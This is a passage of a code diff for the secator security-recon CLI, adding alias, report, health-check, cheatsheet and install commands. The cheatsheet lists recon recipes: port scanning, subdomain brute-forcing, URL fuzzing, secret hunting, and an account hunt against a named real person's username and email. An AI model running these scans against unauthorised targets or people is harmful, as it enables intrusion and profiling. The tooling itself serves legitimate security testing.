628
+ #-------#
629
+ # ALIAS #
630
+ #-------#
631
+
632
+ @cli.group(aliases=['a', 'aliases'])
633
+ def alias():
634
+ """Aliases."""
635
+ pass
636
+
637
+
638
+ @alias.command('enable')
639
+ @click.pass_context
640
+ def enable_aliases(ctx):
641
+ """Enable aliases."""
642
+ fpath = f'{CONFIG.dirs.data}/.aliases'
643
+ aliases = ctx.invoke(list_aliases, silent=True)
644
+ aliases_str = '\n'.join(aliases)
645
+ with open(fpath, 'w') as f:
646
+ f.write(aliases_str)
647
+ console.print('')
648
+ console.print(f':file_cabinet: Alias file written to {fpath}', style='bold green')
649
+ console.print('To load the aliases, run:')
650
+ md = f"""
651
+ ```sh
652
+ source {fpath} # load the aliases in the current shell
653
+ echo "source {fpath} >> ~/.bashrc" # or add this line to your ~/.bashrc to load them automatically
654
+ ```
655
+ """
656
+ console.print(Markdown(md))
657
+ console.print()
658
+
659
+
660
+ @alias.command('disable')
661
+ @click.pass_context
662
+ def disable_aliases(ctx):
663
+ """Disable aliases."""
664
+ fpath = f'{CONFIG.dirs.data}/.unalias'
665
+ aliases = ctx.invoke(list_aliases, silent=True)
666
+ aliases_str = ''
667
+ for alias in aliases:
668
+ alias_name = alias.split('=')[0]
669
+ if alias.strip().startswith('alias'):
670
+ alias_name = 'un' + alias_name
671
+ aliases_str += alias_name + '\n'
672
+ console.print(f':file_cabinet: Unalias file written to {fpath}', style='bold green')
673
+ console.print('To unload the aliases, run:')
674
+ with open(fpath, 'w') as f:
675
+ f.write(aliases_str)
676
+ md = f"""
677
+ ```sh
678
+ source {fpath}
679
+ ```
680
+ """
681
+ console.print(Markdown(md))
682
+ console.print()
683
+
684
+
685
+ @alias.command('list')
686
+ @click.option('--silent', is_flag=True, default=False, help='No print')
687
+ def list_aliases(silent):
688
+ """List aliases"""
689
+ aliases = []
690
+ aliases.append('\n# Global commands')
691
+ aliases.append('alias x="secator tasks"')
692
+ aliases.append('alias w="secator workflows"')
693
+ aliases.append('alias s="secator scans"')
694
+ aliases.append('alias wk="secator worker"')
695
+ aliases.append('alias ut="secator util"')
696
+ aliases.append('alias c="secator config"')
697
+ aliases.append('alias ws="secator workspaces"')
698
+ aliases.append('alias p="secator profiles"')
699
+ aliases.append('alias a="secator alias"')
700
+ aliases.append('alias r="secator reports"')
701
+ aliases.append('alias h="secator health"')
702
+ aliases.append('alias i="secator install"')
703
+ aliases.append('alias update="secator update"')
704
+ aliases.append('alias t="secator test"')
705
+ aliases.append('alias cs="secator cheatsheet"')
706
+ aliases.append('\n# Tasks')
707
+ for task in [t for t in discover_tasks()]:
708
+ alias_str = f'alias {task.__name__}="secator task {task.__name__}"'
709
+ if task.__external__:
710
+ alias_str += ' # external'
711
+ aliases.append(alias_str)
712
+
713
+ if silent:
714
+ return aliases
715
+ console.print('[bold gold3]:wrench: Aliases:[/]')
716
+ for alias in aliases:
717
+ alias_split = alias.split('=')
718
+ if len(alias_split) != 2:
719
+ console.print(f'[bold magenta]{alias}')
720
+ continue
721
+ alias_name, alias_cmd = alias_split[0].replace('alias ', ''), alias_split[1].replace('"', '')
722
+ if '# external' in alias_cmd:
723
+ alias_cmd = alias_cmd.replace('# external', ' [bold red]# external[/]')
724
+ console.print(f'[bold gold3]{alias_name:<15}[/] [dim]->[/] [bold green]{alias_cmd}[/]')
725
+
726
+ return aliases
727
+
728
+
729
+ #--------#
730
+ # REPORT #
731
+ #--------#
732
+
733
+
734
+ @cli.group(aliases=['r', 'reports'])
735
+ def report():
736
+ """Reports."""
737
+ pass
738
+
739
+
740
+ def process_query(query, fields=None):
741
+ if fields is None:
742
+ fields = []
743
+ otypes = [o.__name__.lower() for o in FINDING_TYPES]
744
+ extractors = []
745
+
746
+ # Process fields
747
+ fields_filter = {}
748
+ if fields:
749
+ for field in fields:
750
+ parts = field.split('.')
751
+ if len(parts) == 2:
752
+ _type, field = parts
753
+ else:
754
+ _type = parts[0]
755
+ field = None
756
+ if _type not in otypes:
757
+ console.print(Error(message='Invalid output type: ' + _type))
758
+ sys.exit(1)
759
+ fields_filter[_type] = field
760
+
761
+ # No query
762
+ if not query:
763
+ if fields:
764
+ extractors = [{'type': field_type, 'field': field, 'condition': 'True', 'op': 'or'} for field_type, field in fields_filter.items()] # noqa: E501
765
+ return extractors
766
+
767
+ # Get operator
768
+ operator = '||'
769
+ if '&&' in query and '||' in query:
770
+ console.print(Error(message='Cannot mix && and || in the same query'))
771
+ sys.exit(1)
772
+ elif '&&' in query:
773
+ operator = '&&'
774
+ elif '||' in query:
775
+ operator = '||'
776
+
777
+ # Process query
778
+ query = query.split(operator)
779
+ for part in query:
780
+ part = part.strip()
781
+ split_part = part.split('.')
782
+ _type = split_part[0]
783
+ if _type not in otypes:
784
+ console.print(Error(message='Invalid output type: ' + _type))
785
+ sys.exit(1)
786
+ if fields and _type not in fields_filter:
787
+ console.print(Warning(message='Type not allowed by --filter field: ' + _type + ' (allowed: ' + ', '.join(fields_filter.keys()) + '). Ignoring extractor.')) # noqa: E501
788
+ continue
789
+ extractor = {
790
+ 'type': _type,
791
+ 'condition': part or 'True',
792
+ 'op': 'and' if operator == '&&' else 'or'
793
+ }
794
+ field = fields_filter.get(_type)
795
+ if field:
796
+ extractor['field'] = field
797
+ extractors.append(extractor)
798
+ return extractors
799
+
800
+
801
+ @report.command('show')
802
+ @click.argument('report_query', required=False)
803
+ @click.option('-o', '--output', type=str, default='console', help='Exporters')
804
+ @click.option('-r', '--runner-type', type=str, default=None, help='Filter by runner type. Choices: task, workflow, scan') # noqa: E501
805
+ @click.option('-d', '--time-delta', type=str, default=None, help='Keep results newer than time delta. E.g: 26m, 1d, 1y') # noqa: E501
806
+ @click.option('-f', '--format', "_format", type=str, default='', help=f'Format output, comma-separated of: <output_type> or <output_type>.<field>. [bold]Allowed output types[/]: {", ".join(FINDING_TYPES_LOWER)}') # noqa: E501
807
+ @click.option('-q', '--query', type=str, default=None, help='Query results using a Python expression')
808
+ @click.option('-w', '-ws', '--workspace', type=str, default=None, help='Filter by workspace name')
809
+ @click.option('-u', '--unified', is_flag=True, default=False, help='Show unified results (merge reports and de-duplicates results)') # noqa: E501
810
+ @click.pass_context
811
+ def report_show(ctx, report_query, output, runner_type, time_delta, _format, query, workspace, unified):
812
+ """Show report results and filter on them."""
813
+
814
+ # Get report query from piped input
815
+ if ctx.obj['piped_input']:
816
+ report_query = ','.join(sys.stdin.read().splitlines())
817
+ unified = True
818
+
819
+ # Get extractors
820
+ extractors = process_query(query, fields=_format.split(',') if _format else [])
821
+ if extractors:
822
+ console.print(':wrench: [bold gold3]Showing query summary[/]')
823
+ op = extractors[0]['op']
824
+ console.print(f':carousel_horse: [bold blue]Op[/] [bold orange3]->[/] [bold green]{op.upper()}[/]')
825
+ for extractor in extractors:
826
+ console.print(f':zap: [bold blue]{extractor["type"].title()}[/] [bold orange3]->[/] [bold green]{extractor["condition"]}[/]', highlight=False) # noqa: E501
827
+
828
+ # Build runner instance
829
+ current = get_file_timestamp()
830
+ runner = DotMap({
831
+ "config": {
832
+ "name": f"consolidated_report_{current}"
833
+ },
834
+ "name": "runner",
835
+ "workspace_name": "_consolidated",
836
+ "reports_folder": Path.cwd(),
837
+ })
838
+ exporters = Runner.resolve_exporters(output)
839
+
840
+ # Build report queries from fuzzy input
841
+ paths = []
842
+ report_query = report_query.split(',') if report_query else []
843
+ load_all_reports = not report_query or any([not Path(p).exists() for p in report_query]) # fuzzy query, need to load all reports # noqa: E501
844
+ all_reports = []
845
+ if load_all_reports or workspace:
846
+ all_reports = list_reports(workspace=workspace, type=runner_type, timedelta=human_to_timedelta(time_delta))
847
+ if not report_query:
848
+ report_query = all_reports
849
+ for query in report_query:
850
+ query = str(query)
851
+ if not query.endswith('/'):
852
+ query += '/'
853
+ path = Path(query)
854
+ if not path.exists():
855
+ matches = []
856
+ for path in all_reports:
857
+ if query in str(path):
858
+ matches.append(path)
859
+ if not matches:
860
+ console.print(
861
+ f'[bold orange3]Query {query} did not return any matches. [/][bold green]Ignoring.[/]')
862
+ paths.extend(matches)
863
+ else:
864
+ paths.append(path)
865
+ paths = sort_files_by_date(paths)
866
+
867
+ # Load reports, extract results
868
+ all_results = []
869
+ for ix, path in enumerate(paths):
870
+ if unified:
871
+ if ix == 0:
872
+ console.print(f'\n:wrench: [bold gold3]Loading {len(paths)} reports ...[/]')
873
+ console.print(rf':file_cabinet: Loading {path} \[[bold yellow4]{ix + 1}[/]/[bold yellow4]{len(paths)}[/]] \[results={len(all_results)}]...') # noqa: E501
874
+ with open(path, 'r') as f:
875
+ try:
876
+ data = loads_dataclass(f.read())
877
+ info = get_info_from_report_path(path)
878
+ runner_type = info.get('type', 'unknowns')[:-1]
879
+ runner.results = flatten(list(data['results'].values()))
880
+ if unified:
881
+ all_results.extend(runner.results)
882
+ continue
883
+ report = Report(runner, title=f"Consolidated report - {current}", exporters=exporters)
884
+ report.build(extractors=extractors if not unified else [], dedupe=unified)
885
+ file_date = get_file_date(path)
886
+ runner_name = data['info']['name']
887
+ if not report.is_empty():
888
+ console.print(
889
+ f'\n{path} ([bold blue]{runner_name}[/] [dim]{runner_type}[/]) ([dim]{file_date}[/]):')
890
+ if report.is_empty():
891
+ if len(paths) == 1:
892
+ console.print(Warning(message='No results in report.'))
893
+ continue
894
+ report.send()
895
+ except json.decoder.JSONDecodeError as e:
896
+ console.print(Error(message=f'Could not load {path}: {str(e)}'))
897
+
898
+ if unified:
899
+ console.print(f'\n:wrench: [bold gold3]Building report by crunching {len(all_results)} results ...[/]', end='')
900
+ console.print(' (:coffee: [dim]this can take a while ...[/])')
901
+ runner.results = all_results
902
+ report = Report(runner, title=f"Consolidated report - {current}", exporters=exporters)
903
+ report.build(extractors=extractors, dedupe=True)
904
+ report.send()
905
+
906
+
907
+ @report.command('list')
908
+ @click.option('-ws', '-w', '--workspace', type=str)
909
+ @click.option('-r', '--runner-type', type=str, default=None, help='Filter by runner type. Choices: task, workflow, scan') # noqa: E501
910
+ @click.option('-d', '--time-delta', type=str, default=None, help='Keep results newer than time delta. E.g: 26m, 1d, 1y') # noqa: E501
911
+ @click.pass_context
912
+ def report_list(ctx, workspace, runner_type, time_delta):
913
+ """List all secator reports."""
914
+ paths = list_reports(workspace=workspace, type=runner_type, timedelta=human_to_timedelta(time_delta))
915
+ paths = sorted(paths, key=lambda x: x.stat().st_mtime, reverse=False)
916
+
917
+ # Build table
918
+ table = Table()
919
+ table.add_column("Workspace", style="bold gold3")
920
+ table.add_column("Path", overflow='fold')
921
+ table.add_column("Name")
922
+ table.add_column("Id")
923
+ table.add_column("Date")
924
+ table.add_column("Status", style="green")
925
+
926
+ # Print paths if piped
927
+ if ctx.obj['piped_output']:
928
+ if not paths:
929
+ console.print(Error(message='No reports found.'))
930
+ return
931
+ for path in paths:
932
+ print(path)
933
+ return
934
+
935
+ # Load each report
936
+ for path in paths:
937
+ try:
938
+ info = get_info_from_report_path(path)
939
+ with open(path, 'r') as f:
940
+ content = json.loads(f.read())
941
+ data = {
942
+ 'workspace': info['workspace'],
943
+ 'name': f"[bold blue]{content['info']['name']}[/]",
944
+ 'status': content['info'].get('status', ''),
945
+ 'id': info['type'] + '/' + info['id'],
946
+ 'date': get_file_date(path), # Assuming get_file_date returns a readable date
947
+ }
948
+ status_color = STATE_COLORS[data['status']] if data['status'] in STATE_COLORS else 'white'
949
+
950
+ # Update table
951
+ table.add_row(
952
+ data['workspace'],
953
+ str(path),
954
+ data['name'],
955
+ data['id'],
956
+ data['date'],
957
+ f"[{status_color}]{data['status']}[/]"
958
+ )
959
+ except json.JSONDecodeError as e:
960
+ console.print(Error(message=f'Could not load {path}: {str(e)}'))
961
+
962
+ if len(paths) > 0:
963
+ console.print(table)
964
+ console.print(Info(message=f'Found {len(paths)} reports.'))
965
+ else:
966
+ console.print(Error(message='No reports found.'))
967
+
968
+
969
+ @report.command('export')
970
+ @click.argument('json_path', type=str)
971
+ @click.option('--output-folder', '-of', type=str)
972
+ @click.option('--output', '-o', type=str, required=True)
973
+ def report_export(json_path, output_folder, output):
974
+ with open(json_path, 'r') as f:
975
+ data = loads_dataclass(f.read())
976
+
977
+ split = json_path.split('/')
978
+ workspace_name = '/'.join(split[:-4]) if len(split) > 4 else '_default'
979
+ runner_instance = DotMap({
980
+ "config": {
981
+ "name": data['info']['name']
982
+ },
983
+ "workspace_name": workspace_name,
984
+ "reports_folder": output_folder or Path.cwd(),
985
+ "data": data,
986
+ "results": flatten(list(data['results'].values()))
987
+ })
988
+ exporters = Runner.resolve_exporters(output)
989
+ report = Report(runner_instance, title=data['info']['title'], exporters=exporters)
990
+ report.data = data
991
+ report.send()
992
+
993
+
994
+ #--------#
995
+ # DEPLOY #
996
+ #--------#
997
+
998
+ # TODO: work on this
999
+ # @cli.group(aliases=['d'])
1000
+ # def deploy():
1001
+ # """Deploy secator."""
1002
+ # pass
1003
+
1004
+ # @deploy.command()
1005
+ # def docker_compose():
1006
+ # """Deploy secator on docker-compose."""
1007
+ # pass
1008
+
1009
+ # @deploy.command()
1010
+ # @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
1011
+ # def k8s():
1012
+ # """Deploy secator on Kubernetes."""
1013
+ # pass
1014
+
1015
+
1016
+ #--------#
1017
+ # HEALTH #
1018
+ #--------#
1019
+
1020
+ @cli.command(name='health', aliases=['h'])
1021
+ @click.option('--json', '-json', 'json_', is_flag=True, default=False, help='JSON lines output')
1022
+ @click.option('--debug', '-debug', is_flag=True, default=False, help='Debug health output')
1023
+ @click.option('--strict', '-strict', is_flag=True, default=False, help='Fail if missing tools')
1024
+ @click.option('--bleeding', '-bleeding', is_flag=True, default=False, help='Check bleeding edge version of tools')
1025
+ def health(json_, debug, strict, bleeding):
1026
+ """Get health status."""
1027
+ tools = discover_tasks()
1028
+ upgrade_cmd = ''
1029
+ results = []
1030
+ messages = []
1031
+
1032
+ # Abort if offline mode is enabled
1033
+ if CONFIG.offline_mode:
1034
+ console.print(Error(message='Cannot run this command in offline mode.'))
1035
+ sys.exit(1)
1036
+
1037
+ # Check secator
1038
+ console.print(':wrench: [bold gold3]Checking secator ...[/]') if not json_ else None
1039
+ info = get_version_info('secator', '-version', 'freelabz/secator')
1040
+ info['_type'] = 'core'
1041
+ if info['outdated']:
1042
+ messages.append(f'secator is outdated (latest:{info["latest_version"]}).')
1043
+ results.append(info)
1044
+ table = get_health_table()
1045
+ contextmanager = Live(table, console=console) if not json_ else nullcontext()
1046
+ with contextmanager:
1047
+ row = fmt_health_table_row(info)
1048
+ table.add_row(*row)
1049
+
1050
+ # Check addons
1051
+ console.print('\n:wrench: [bold gold3]Checking addons ...[/]') if not json_ else None
1052
+ table = get_health_table()
1053
+ contextmanager = Live(table, console=console) if not json_ else nullcontext()
1054
+ with contextmanager:
1055
+ for addon, installed in ADDONS_ENABLED.items():
1056
+ info = {
1057
+ 'name': addon,
1058
+ 'version': None,
1059
+ 'status': 'ok' if installed else 'missing_ok',
1060
+ 'latest_version': None,
1061
+ 'installed': installed,
1062
+ 'location': None
1063
+ }
1064
+ info['_type'] = 'addon'
1065
+ results.append(info)
1066
+ row = fmt_health_table_row(info, 'addons')
1067
+ table.add_row(*row)
1068
+ if json_:
1069
+ print(json.dumps(info))
1070
+
1071
+ # Check languages
1072
+ console.print('\n:wrench: [bold gold3]Checking languages ...[/]') if not json_ else None
1073
+ version_cmds = {'go': 'version', 'python3': '--version', 'ruby': '--version'}
1074
+ table = get_health_table()
1075
+ contextmanager = Live(table, console=console) if not json_ else nullcontext()
1076
+ with contextmanager:
1077
+ for lang, version_flag in version_cmds.items():
1078
+ info = get_version_info(lang, version_flag)
1079
+ row = fmt_health_table_row(info, 'langs')
1080
+ table.add_row(*row)
1081
+ info['_type'] = 'lang'
1082
+ results.append(info)
1083
+ if json_:
1084
+ print(json.dumps(info))
1085
+
1086
+ # Check tools
1087
+ console.print('\n:wrench: [bold gold3]Checking tools ...[/]') if not json_ else None
1088
+ table = get_health_table()
1089
+ error = False
1090
+ contextmanager = Live(table, console=console) if not json_ else nullcontext()
1091
+ upgrade_cmd = 'secator install tools'
1092
+ with contextmanager:
1093
+ for tool in tools:
1094
+ info = get_version_info(
1095
+ tool.cmd.split(' ')[0],
1096
+ tool.version_flag or f'{tool.opt_prefix}version',
1097
+ tool.github_handle,
1098
+ tool.install_github_version_prefix,
1099
+ tool.install_cmd,
1100
+ tool.install_version,
1101
+ bleeding=bleeding
1102
+ )
1103
+ info['_name'] = tool.__name__
1104
+ info['_type'] = 'tool'
1105
+ row = fmt_health_table_row(info, 'tools')
1106
+ table.add_row(*row)
1107
+ if not info['installed']:
1108
+ messages.append(f'{tool.__name__} is not installed.')
1109
+ info['next_version'] = tool.install_version
1110
+ error = True
1111
+ elif info['outdated']:
1112
+ msg = 'latest' if bleeding else 'supported'
1113
+ message = (
1114
+ f'{tool.__name__} is outdated (current:{info["version"]}, {msg}:{info["latest_version"]}).'
1115
+ )
1116
+ messages.append(message)
1117
+ info['upgrade'] = True
1118
+ info['next_version'] = info['latest_version']
1119
+
1120
+ elif info['bleeding']:
1121
+ msg = 'latest' if bleeding else 'supported'
1122
+ message = (
1123
+ f'{tool.__name__} is bleeding edge (current:{info["version"]}, {msg}:{info["latest_version"]}).'
1124
+ )
1125
+ messages.append(message)
1126
+ info['downgrade'] = True
1127
+ info['next_version'] = info['latest_version']
1128
+ results.append(info)
1129
+ if json_:
1130
+ print(json.dumps(info))
1131
+ console.print('') if not json_ else None
1132
+
1133
+ if not json_ and messages:
1134
+ console.print('\n[bold red]Issues found:[/]')
1135
+ for message in messages:
1136
+ console.print(Warning(message=message))
1137
+
1138
+ # Strict mode
1139
+ if strict:
1140
+ if error:
1141
+ sys.exit(1)
1142
+ console.print(Info(message='Strict healthcheck passed !')) if not json_ else None
1143
+
1144
+ # Build upgrade command
1145
+ cmds = []
1146
+ tool_cmd = ''
1147
+ for info in results:
1148
+ if info['_type'] == 'core' and info['outdated']:
1149
+ cmds.append('secator update')
1150
+ elif info['_type'] == 'tool' and info.get('next_version'):
1151
+ tool_cmd += f',{info["_name"]}=={info["next_version"]}'
1152
+
1153
+ if tool_cmd:
1154
+ tool_cmd = f'secator install tools {tool_cmd.lstrip(",")}'
1155
+ cmds.append(tool_cmd)
1156
+ upgrade_cmd = ' && '.join(cmds)
1157
+ console.print('') if not json_ else None
1158
+ if upgrade_cmd:
1159
+ console.print(Info(message='Run the following to upgrade secator and tools:')) if not json_ else None
1160
+ if json_:
1161
+ print(json.dumps({'upgrade_cmd': upgrade_cmd}))
1162
+ else:
1163
+ print(upgrade_cmd)
1164
+ else:
1165
+ console.print(Info(message='Everything is up to date !')) if not json_ else None
1166
+
1167
+
1168
+ #------------#
1169
+ # CHEATSHEET #
1170
+ #------------#
1171
+
1172
+ @cli.command(name='cheatsheet', aliases=['cs'])
1173
+ def cheatsheet():
1174
+ """Display a cheatsheet of secator commands."""
1175
+ from rich.panel import Panel
1176
+ from rich import box
1177
+ kwargs = {
1178
+ 'box': box.ROUNDED,
1179
+ 'title_align': 'left',
1180
+ # 'style': 'bold blue3',
1181
+ 'border_style': 'green',
1182
+ 'padding': (0, 1, 0, 1),
1183
+ 'highlight': False,
1184
+ 'expand': False,
1185
+ }
1186
+ title_style = 'bold green'
1187
+
1188
+ panel1 = Panel(r"""
1189
+ [dim bold]:left_arrow_curving_right: Secator basic commands to get you started.[/]
1190
+
1191
+ secator [orange3]x[/] [dim]# list tasks[/]
1192
+ secator [orange3]w[/] [dim]# list workflows[/]
1193
+ secator [orange3]s[/] [dim]# list scans[/]
1194
+ secator [orange3]p[/] [dim]# manage profiles[/]
1195
+ secator [orange3]r[/] [dim]# manage reports[/]
1196
+ secator [orange3]c[/] [dim]# manage configuration[/]
1197
+ secator [orange3]ws[/] [dim]# manage workspaces[/]
1198
+ secator [orange3]update[/] [dim]# update secator[/]
1199
+
1200
+ [dim]# Running tasks, workflows or scans...[/]
1201
+ secator \[[orange3]x[/]|[orange3]w[/]|[orange3]s[/]] [NAME] [OPTIONS] [INPUTS] [dim]# run a task ([bold orange3]x[/]), workflow ([bold orange3]w[/]) or scan ([bold orange3]s[/])[/]
1202
+ secator [orange3]x[/] [red]httpx[/] example.com [dim]# run an [bold red]httpx[/] task ([bold orange3]x[/] is for e[bold orange3]x[/]ecute)[/]
1203
+ secator [orange3]w[/] [red]url_crawl[/] https://example.com [dim]# run a [bold red]url crawl[/] workflow ([bold orange3]w[/])[/]
1204
+ secator [orange3]s[/] [red]host[/] example.com [dim]# run a [bold red]host[/] scan ([bold orange3]s[/])[/]
1205
+
1206
+ [dim]# Show information on tasks, workflows or scans ...[/]
1207
+ secator s host [blue]-dry[/] [dim]# show dry run (show exact commands that will be run)[/]
1208
+ secator s host [blue]-tree[/] [dim]# show config tree (workflows and scans only)[/]
1209
+ secator s host [blue]-yaml[/] [dim]# show config yaml (workflows and scans only)[/]
1210
+
1211
+ [dim]# Organize your results (workspace, database)[/]
1212
+ secator s host [blue]-ws[/] [bright_magenta]prod[/] example.com [dim]# save results to 'prod' workspace[/]
1213
+ secator s host [blue]-driver[/] [bright_magenta]mongodb[/] example.com [dim]# save results to mongodb database[/]
1214
+
1215
+ [dim]# Input types are flexible ...[/]
1216
+ secator s host [cyan]example.com[/] [dim]# single input[/]
1217
+ secator s host [cyan]host1,host2,host3[/] [dim]# multiple inputs (comma-separated)[/]
1218
+ secator s host [cyan]hosts.txt[/] [dim]# multiple inputs (txt file)[/]
1219
+ [cyan]cat hosts.txt | [/]secator s host [dim]# piped inputs[/]
1220
+
1221
+ [dim]# Options are mutualized ...[/]
1222
+ secator s host [blue]-rl[/] [bright_magenta]10[/] [blue]-delay[/] [bright_magenta]1[/] [blue]-proxy[/] [bright_magenta]http://127.0.0.1:9090[/] example.com [dim]# set rate limit, delay and proxy for all subtasks[/]
1223
+ secator s host [blue]-pf[/] [bright_magenta]aggressive[/] example.com [dim]# ... or use a profile to automatically set options[/]
1224
+
1225
+ [dim]:point_right: and [bold]YES[/], the above options and inputs work with any scan ([bold orange3]s[/]), workflow ([bold orange3]w[/]), and task ([bold orange3]x[/]), not just the host scan shown here![/]
1226
+ """, # noqa: E501
1227
+ title=f":shield: [{title_style}]Some basics[/]", **kwargs)
1228
+
1229
+ panel2 = Panel(r"""
1230
+ [dim bold]:left_arrow_curving_right: Secator aliases are useful to stop typing [bold cyan]secator <something>[/] and focus on what you want to run. Aliases are a must to increase your productivity.[/]
1231
+
1232
+ [bold]To enable aliases:[/]
1233
+
1234
+ secator alias enable [dim]# enable aliases[/]
1235
+ source ~/.secator/.aliases [dim]# load aliases in current shell[/]
1236
+
1237
+ [dim]# Now you can use aliases...[/]
1238
+ a list [dim]# list all aliases[/]
1239
+ httpx [dim]# aliased httpx ![/]
1240
+ nmap -sV -p 443 --script vulners example.com [dim]# aliased nmap ![/]
1241
+ w subdomain_recon [dim]# aliased subdomain_recon ![/]
1242
+ s domain [dim]# aliased domain scan ![/]
1243
+ cat hosts.txt | subfinder | naabu | httpx | w url_crawl [dim]# pipes to chain tasks ![/]
1244
+ """, # noqa: E501
1245
+ title=f":shorts: [{title_style}]Aliases[/]", **kwargs)
1246
+
1247
+ panel3 = Panel(r"""
1248
+ [dim bold]:left_arrow_curving_right: Secator configuration is stored in a YAML file located at [bold cyan]~/.secator/config.yaml[/]. You can edit it manually or use the following commands to get/set values.[/]
1249
+
1250
+ c get [dim]# get config value[/]
1251
+ c get --user [dim]# get user config value[/]
1252
+ c edit [dim]# edit user config in editor[/]
1253
+ c set profiles.defaults aggressive [dim]# set 'aggressive' profile as default[/]
1254
+ c set drivers.defaults mongodb [dim]# set mongodb as default driver[/]
1255
+ c set wordlists.defaults.http https://example.com/wordlist.txt [dim]# set default wordlist for http fuzzing[/]
1256
+ """, # noqa: E501
1257
+ title=f":gear: [{title_style}]Configuration[/]", **kwargs)
1258
+
1259
+ panel4 = Panel(r"""
1260
+ [dim bold]:left_arrow_curving_right: By default, tasks are run sequentially. You can use a worker to run tasks in parallel and massively speed up your scans.[/]
1261
+
1262
+ wk [dim]# or [bold cyan]secator worker[/] if you don't use aliases ...[/]
1263
+ httpx testphp.vulnweb.com [dim]# <-- will run in worker and output results normally[/]
1264
+
1265
+ [dim]:question: Want to use a remote worker ?[/]
1266
+ [dim]:point_right: Spawn a Celery worker on your remote server, a Redis instance and set the following config values to connect to it, both in the worker and locally:[/]
1267
+ c set celery.result_backend redis://<remote_ip>:6379/0 [dim]# set redis backend[/]
1268
+ c set celery.broker_url redis://<remote_ip>:6379/0 [dim]# set redis broker[/]
1269
+ [dim]:point_right: Then, run your tasks, workflows or scans like you would locally ![/]
1270
+ """, # noqa: E501
1271
+ title=f":zap: [{title_style}]Too slow ? Use a worker[/]", **kwargs)
1272
+
1273
+ panel5 = Panel(r"""
1274
+ [dim bold]:left_arrow_curving_right: Reports are stored in the [bold cyan]~/.secator/reports[/] directory. You can list, show, filter and export reports using the following commands.[/]
1275
+
1276
+ [dim]# List and filter reports...[/]
1277
+ r list [dim]# list all reports[/]
1278
+ r list [blue]-ws[/] [bright_magenta]prod[/] [dim]# list reports from the workspace 'prod'[/]
1279
+ r list [blue]-d[/] [bright_magenta]1h[/] [dim]# list reports from the last hour[/]
1280
+
1281
+ [dim]# Show and filter results...[/]
1282
+ r show [blue]-q[/] [bright_magenta]"url.status_code not in ['401', '403']"[/] [blue]-o[/] [bright_magenta]txt[/] [dim]# show urls with status 401 or 403, save to txt file[/]
1283
+ r show tasks/10,tasks/11 [blue]-q[/] [bright_magenta]"tag.match and 'signup.php' in tag.match"[/] [blue]--unified[/] [blue]-o[/] [bright_magenta]json[/] [dim]# show tags with targets matching 'signup.php' from tasks 10 and 11[/]
1284
+ """, # noqa: E501
1285
+ title=f":file_cabinet: [{title_style}]Digging into reports[/]", **kwargs)
1286
+
1287
+ panel6 = Panel(r"""
1288
+ [dim bold]:left_arrow_curving_right: Commands to manage secator installation.[/]
1289
+
1290
+ update [dim]# update secator to the latest version[/]
1291
+
1292
+ [dim]:point_right: Tools are automatically installed when first running a task, workflow or scan, but you can still install them manually.[/]
1293
+ i tools httpx [dim]# install tool 'httpx'[/]
1294
+ i tools [dim]# install all tools[/]
1295
+
1296
+ [dim]:point_right: Addons are optional dependencies required to enable certain features.[/]
1297
+ i addon redis [dim]# install addon 'redis'[/]
1298
+ i addon gcs [dim]# install addon 'gcs'[/]
1299
+ i addon worker [dim]# install addon 'worker'[/]
1300
+ i addon gdrive [dim]# install addon 'gdrive'[/]
1301
+ i addon mongodb [dim]# install addon 'mongodb'[/]
1302
+ """, # noqa: E501
1303
+ title=f":wrench: [{title_style}]Updates[/]", **kwargs)
1304
+
1305
+ panel7 = Panel(r"""
1306
+ [dim bold]:left_arrow_curving_right: Some useful scans and workflows we use day-to-day for recon.[/]
1307
+
1308
+ [orange3]:warning: Don't forget to add [bold blue]-dry[/] or [bold blue]-tree[/] before running your scans to see what will be done ![/]
1309
+
1310
+ [bold orange3]:trophy: Domain recon + Subdomain recon + Port scanning + URL crawl + URL vulns (XSS, SQLi, RCE, ...)[/]
1311
+ s domain <DOMAIN> [dim]# light[/]
1312
+ s domain <DOMAIN> -pf all_ports [dim]# light + full port scan[/]
1313
+ s domain <DOMAIN> -pf full [dim]# all features (full port scan, nuclei, pattern hunting, headless crawling, screenshots, etc.)[/]
1314
+ s domain <DOMAIN> -pf passive [dim]# passive (0 requests to targets)[/]
1315
+
1316
+ [bold orange3]:trophy: Subdomain recon[/]
1317
+ w subdomain_recon <DOMAIN> [dim]# standard[/]
1318
+ w subdomain_recon <DOMAIN> -brute-dns -brute-http [dim]# bruteforce subdomains (DNS queries + HTTP Host header fuzzing)[/]
1319
+ w subdomain_recon <DOMAIN> -pf passive [dim]# passive (0 requests to targets)[/]
1320
+
1321
+ [bold orange3]:trophy: URL fuzzing[/]
1322
+ w url_fuzz <URL> [dim]# standard fuzzing (ffuf)[/]
1323
+ w url_fuzz <URL> -hs [dim]# hunt secrets in HTTP responses (trufflehog)[/]
1324
+ w url_fuzz <URL> -mc 200,301 -fs 204 [dim]# match 200, 301, and filter size equal to 204 bytes[/]
1325
+ w url_fuzz -fuzzers ffuf,dirsearch <URL> -w <URL> [dim]# choose fuzzers, use remote wordlist[/]
1326
+
1327
+ [bold orange3]:trophy: Vuln and secret scan:[/]
1328
+ w code_scan <PATH> [dim]# on a local path or git repo[/]
1329
+ w code_scan https://github.com/freelabz/secator [dim]# on a github repo[/]
1330
+ w code_scan https://github.com/freelabz [dim]# on a github org (all repos)[/]
1331
+
1332
+ [bold orange3]:trophy: Hunt user accounts[/]
1333
+ w user_hunt elonmusk [dim]# by username[/]
1334
+ w user_hunt elonmusk@tesla.com [dim]# by email[/]
1335
+
1336
+ [bold orange3]:trophy: Custom pipeline to find HTTP servers and fuzz alive ones[/]
1337
+ subfinder vulnweb.com | naabu | httpx | ffuf -mc 200,301 -recursion
1338
+ """, # noqa: E501
1339
+ title=f":trophy: [{title_style}]Quick wins[/]", **kwargs)
1340
+
1341
+ console.print(panel1)
1342
+ console.print(panel2)
1343
+ console.print(panel3)
1344
+ console.print(panel4)
1345
+ console.print(panel5)
1346
+ console.print(panel6)
1347
+ console.print(panel7)
1348
+
1349
+
1350
+ #---------#
1351
+ # INSTALL #
1352
+ #---------#
1353
+
1354
+
1355
+ def run_install(title=None, cmd=None, packages=None, next_steps=None):
1356
+ if CONFIG.offline_mode:
1357
+ console.print(Error(message='Cannot run this command in offline mode.'))
1358
+ sys.exit(1)
1359
+ # with console.status(f'[bold yellow] Installing {title}...'):
1360
+ if cmd:
1361
+ from secator.installer import SourceInstaller
1362
+ status = SourceInstaller.install(cmd)
1363
+ elif packages:
